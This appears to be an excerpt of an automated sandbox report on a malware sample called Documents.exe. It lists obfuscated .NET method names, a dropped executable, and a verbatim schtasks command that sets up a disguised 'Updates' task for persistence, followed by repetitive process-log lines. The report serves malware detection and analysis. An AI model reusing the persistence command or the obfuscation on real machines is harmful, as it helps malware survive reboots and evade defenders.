Source: 0.2.Documents.exe.78d0000.4.raw.unpack, f8eWA89amDDfegLMiD.cs	High entropy of concatenated method names: 'VgtiUg7VFM', 'og8inDlmh5', 'exHiSfcAD4', 'lXuSefjiKc', 'Ox7Szl14WQ', 'JFCiQeM8Fq', 'krwiWayKZD', 'F8HiCCvqnd', 'P3ji6aYs66', 'rw8ipEW1wN'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, Ygr0TnyR1LkSW9E0Em.cs	High entropy of concatenated method names: 'MEtSswHPND', 'nibSOtogde', 'zwrSqL3H3j', 'P34SiASpjZ', 'iM1SFnEFDi', 'Jc1qEFYBes', 'VpBqGD7KMC', 'OZ9qohy0MZ', 'RD6qVW6nYr', 'r2YqXlK5lP'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, nXi6WDpjLanAGQf496.cs	High entropy of concatenated method names: 'sV8WiANgde', 'QH9WFyusRx', 'aHQWfKmNjV', 'IHiWNTPITE', 'uhPWxUPegr', 'pTnW0R1LkS', 'htdBVGwISXW748njUm', 'PuFWmCKFectgBIUybO', 'wXcWWl6IiG', 'mjiW6Ogvcn'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, BSa6rSCOgMEo3mQXEh.cs	High entropy of concatenated method names: 'GvcHb8qnr', 'RGTJkIxqY', 'dO9jIqEnd', 'nMHdYyWwk', 'SRnuSfgAi', 'TofvyiYs6', 'aMYAI0lWhGbmfUFaXb', 'lMwdKs9ybppj3IOpql', 'lK7YNqDub', 'hvWcZgiJo'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, RGS22NmfvosZB4XiiT.cs	High entropy of concatenated method names: 'TBoiD6swb5', 'fg6ia5bLld', 'ALHiH7T52x', 'd96iJqAPgP', 'Tlui3GTRlW', 'zwvijTsFCN', 'YxXidnBonM', 'IfSiArUt1V', 'f96iumDplg', 'qX4ivNWXL6'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, aDUZU1eKdyWMPTRpWG.cs	High entropy of concatenated method names: 'Wljcnfqkja', 'sX2cq1AvY3', 'FogcS286xL', 'EpAcibLPtr', 'YeFclcqFn5', 'H6OcFbYvEw', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, iavCtQFueCRVgf9V4b.cs	High entropy of concatenated method names: 'Chp6suQRvx', 'Giy6Ufsr0i', 'Ndr6O8oaxA', 'Wg36nKnAOm', 'xua6q5KWgy', 'KG26SNFvnK', 'jN56iGN4VO', 'uyf6FPDY7W', 'K1f65jOhlM', 'vhN6fB8aFb'
Source: 0.2.Documents.exe.78d0000.4.raw.unpack, AIFAptGR9eg5muxjTc.cs	High entropy of concatenated method names: 'FqZ1VVD05h', 'FiJ1eDeV12', 'TwQYQOLHOI', 'SylYWqlulI', 'SA218IdUmA', 'Gt91P3b74n', 'XoF1kATh1H', 'oL91LtYMHp', 'kK11hrvgll', 'Obb1I2OD4v'
Source: 0.2.Documents.exe.5bd0000.3.raw.unpack, FZaOUuOPvnEAfIAr0M.cs	High entropy of concatenated method names: 'lEA0fIAr0', 'tZCA8AZk9', 'gXO9bmMm8', 'DGw7NTeNK', 'Om2dkTqQy', 'EZYgaiyMO', 'Dispose', 'FZaOOUuPv', 'pv8tyvFJFxYXZkDera', 'y16QeXgcC0F7yngarN'
Source: 0.2.Documents.exe.5bd0000.3.raw.unpack, GtaAIbrHXObmMm8GPA.cs	High entropy of concatenated method names: 't43wlqHDE', 'b331V9lSR', 'y0lQR8D9G', 'PPrmXmJxA', 'CF9acgM2i', 'eykiYV7wh', 'vSMVwpZMk', 'kxKJsuLoh', 'Ny8e5Nb61', 'qdOCMMDun'
Source: 0.2.Documents.exe.5bd0000.3.raw.unpack, kAOj1Y7pfP90kycNNw.cs	High entropy of concatenated method names: 'lb2Ia3XrDtd392xi2Tb', 'XJIblTXQXnFqByJBCJm', 'uLEr9lUTy0', 'Y8R45UX8CExDEFrtuqs', 'ye0NJSX7mZWAZIVVpiG', 'WY1PxJXMKygj5Preg16', 'ELG2kXXJWTZduCJNQBl', 'RgtTUJcyZL', 'wUUrNltvEH', 'CJErdEKrT9'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, Gf3UqQuHQKmNjVRHiT.cs	High entropy of concatenated method names: 'qTMnJth4oW', 'wGCnjd67G8', 'kuFnAsIvnR', 'Tc3nunlJyT', 'g9dnxCpktS', 'HCXn0mwo3k', 'rkOn1JxGFe', 'rxhnYBq2Iu', 'Ic4nlx2nZL', 'zKFncfTDkZ'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, Pb8eXhL4Kqe82vcHaP.cs	High entropy of concatenated method names: 'wpcxBa7uaL', 'NsXxP0A5w9', 'VjUxLadLhC', 'EphxhYbP9u', 'w8TxtW2QBN', 'eT2xMHC6ne', 'Y1YxRXeXrG', 'Ulgx4ZTkdJ', 'oPlxTqqbwN', 'uhMx9p0B1P'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, jqZprwXDR5JDf5NEk4.cs	High entropy of concatenated method names: 'XOWly7kKiU', 'RQDltOkmDE', 'j3YlM5f4eO', 'IdQlRI7sh7', 'wBkl4EP4iU', 'GLHlTFSpBG', 'LmWl9IygAQ', 'QWNlbJb8jn', 'xaMlm7MtoE', 'GS5lBog6yw'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, OANgdeAkH9yusRxXWr.cs	High entropy of concatenated method names: 'ngSOLZK2uj', 'nQ5Oh0T93O', 'LRdOIA987C', 'z1xOrtaBkA', 'OeeOElSy7M', 'CEkOGPBKJ2', 'rQcOo3mpjn', 'g78OV5K7NL', 'nmoOXdVsRk', 'z0nOe7E9sC'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, V53PYhWCiyIxKMiS2SC.cs	High entropy of concatenated method names: 'ToString', 'AXSKAunulp', 'Ci1KucjXT2', 'yD8KvYbkyn', 'vtDKynmfou', 'x3LKtq0vWA', 'U7fKM8sSEL', 'zU7KRkRIEI', 'MvOhYie8P2QAI7F1UYw', 'ybr8o9ehL7eOCcjCq6Z'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, QmSiyozsHAhIftiSea.cs	High entropy of concatenated method names: 'H6fcjU0oHA', 'oc8cAxpiHL', 'lbLcugDmjU', 'SGicy7KD2j', 'r6YctpOPiI', 'kATcR9ncba', 'H6ec4AeUel', 'uMic7XoQes', 'QkacDxR8eX', 'Cs6cahSCxe'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, PITEutvlXV5IsghPUP.cs	High entropy of concatenated method names: 'Igjq3CQFaK', 'Tk0qdkIJe3', 'ys9nM80gN3', 'w0snRYcrXd', 'VwYn44nhZ7', 'fBGnTJ8KgP', 'iaSn9a77N5', 'Q6ZnbPsm7O', 'wWtnmJFh0C', 'epmnBL80Ea'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, gB7VL3IrSJVnBcdnXA.cs	High entropy of concatenated method names: 'ToString', 'ldQ084290g', 'tgL0tDv0YF', 'FZL0Mc9ZOP', 'HLC0RSC7uU', 'HLS041bWaq', 'f6I0TiTxxe', 'OTN09XJAG0', 'nsC0bEseyS', 'eR40mj62nW'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, XfWRgdWpIlxoZYmckMS.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lFCgl6ZZaN', 'wyQgcfbuJN', 'jlkgKaMv7M', 'QIggg2VbOa', 'I8kgZWu9JJ', 'avGgwTjROI', 'wdjg7BynlE'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, Y1BLhwWWfyC5nKLv9Za.cs	High entropy of concatenated method names: 'W5jceUrhIl', 'AG1czR6AYH', 'tyyKQyUQQT', 'l36KWDxsYg', 'V09KCPw58w', 'zLUK6cjnMA', 'VPXKpqe8Nu', 'CSaKs7HkJ2', 'kibKUeUrte', 'iRRKOBgkGK'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, l0934OowxrH8VUlRxi.cs	High entropy of concatenated method names: 'mKQlxBMbth', 'X6Xl1W3a5p', 'hQHllXoKNP', 'xOOlKMZ9l2', 'zJMlZhHoVT', 'j17l7inY0T', 'Dispose', 'rfuYUC5WuX', 'y00YOJO9S6', 'sq5Yn5Hpau'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, Lhm7DZWQpkQtvGq28Al.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mLnc8Y3Y5l', 'HngcPiPnAi', 'TkXckiVk5P', 'nNocLEB0pp', 'wFfchuW4ga', 'CticIwjmJ4', 'LWxcrxcBoM'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, hupJuROPNJ0JAPf84f.cs	High entropy of concatenated method names: 'Dispose', 'TH8WXVUlRx', 'RVnCt8RqHX', 'oZrHXkq0bx', 'juKWeyiRta', 'fyTWzKYi4E', 'ProcessDialogKey', 'wZiCQqZprw', 'xR5CWJDf5N', 'Uk4CCQDUZU'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, zrOvj2n9Vlx5bygFRJ.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Pw5CX6o5o9', 'LjBCeorBc9', 'N0VCzPWAZP', 'k2m6QZeY4b', 'cu66WD12bd', 'Ju26C0C4a2', 'x6f66CheqM', 'RSipRtGxGayDC0YmOVm'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, nm3pWgkYqwy0t9xZiA.cs	High entropy of concatenated method names: 'Wej2AAZmI8', 'gQi2uQEtNF', 'PuG2yvVRxW', 'ImY2t1vSyS', 'QOF2RCxg7R', 'rbj24913s9', 'GHo29Tqm5t', 'zPN2bcP7P8', 'MsT2B8fXOX', 'Aox28GBAZT'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, f8eWA89amDDfegLMiD.cs	High entropy of concatenated method names: 'VgtiUg7VFM', 'og8inDlmh5', 'exHiSfcAD4', 'lXuSefjiKc', 'Ox7Szl14WQ', 'JFCiQeM8Fq', 'krwiWayKZD', 'F8HiCCvqnd', 'P3ji6aYs66', 'rw8ipEW1wN'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, Ygr0TnyR1LkSW9E0Em.cs	High entropy of concatenated method names: 'MEtSswHPND', 'nibSOtogde', 'zwrSqL3H3j', 'P34SiASpjZ', 'iM1SFnEFDi', 'Jc1qEFYBes', 'VpBqGD7KMC', 'OZ9qohy0MZ', 'RD6qVW6nYr', 'r2YqXlK5lP'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, nXi6WDpjLanAGQf496.cs	High entropy of concatenated method names: 'sV8WiANgde', 'QH9WFyusRx', 'aHQWfKmNjV', 'IHiWNTPITE', 'uhPWxUPegr', 'pTnW0R1LkS', 'htdBVGwISXW748njUm', 'PuFWmCKFectgBIUybO', 'wXcWWl6IiG', 'mjiW6Ogvcn'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, BSa6rSCOgMEo3mQXEh.cs	High entropy of concatenated method names: 'GvcHb8qnr', 'RGTJkIxqY', 'dO9jIqEnd', 'nMHdYyWwk', 'SRnuSfgAi', 'TofvyiYs6', 'aMYAI0lWhGbmfUFaXb', 'lMwdKs9ybppj3IOpql', 'lK7YNqDub', 'hvWcZgiJo'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, RGS22NmfvosZB4XiiT.cs	High entropy of concatenated method names: 'TBoiD6swb5', 'fg6ia5bLld', 'ALHiH7T52x', 'd96iJqAPgP', 'Tlui3GTRlW', 'zwvijTsFCN', 'YxXidnBonM', 'IfSiArUt1V', 'f96iumDplg', 'qX4ivNWXL6'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, aDUZU1eKdyWMPTRpWG.cs	High entropy of concatenated method names: 'Wljcnfqkja', 'sX2cq1AvY3', 'FogcS286xL', 'EpAcibLPtr', 'YeFclcqFn5', 'H6OcFbYvEw', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, iavCtQFueCRVgf9V4b.cs	High entropy of concatenated method names: 'Chp6suQRvx', 'Giy6Ufsr0i', 'Ndr6O8oaxA', 'Wg36nKnAOm', 'xua6q5KWgy', 'KG26SNFvnK', 'jN56iGN4VO', 'uyf6FPDY7W', 'K1f65jOhlM', 'vhN6fB8aFb'
Source: 0.2.Documents.exe.4406868.1.raw.unpack, AIFAptGR9eg5muxjTc.cs	High entropy of concatenated method names: 'FqZ1VVD05h', 'FiJ1eDeV12', 'TwQYQOLHOI', 'SylYWqlulI', 'SA218IdUmA', 'Gt91P3b74n', 'XoF1kATh1H', 'oL91LtYMHp', 'kK11hrvgll', 'Obb1I2OD4v'

Source: C:\Users\user\Desktop\Documents.exe

File created: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Documents.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp2505.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
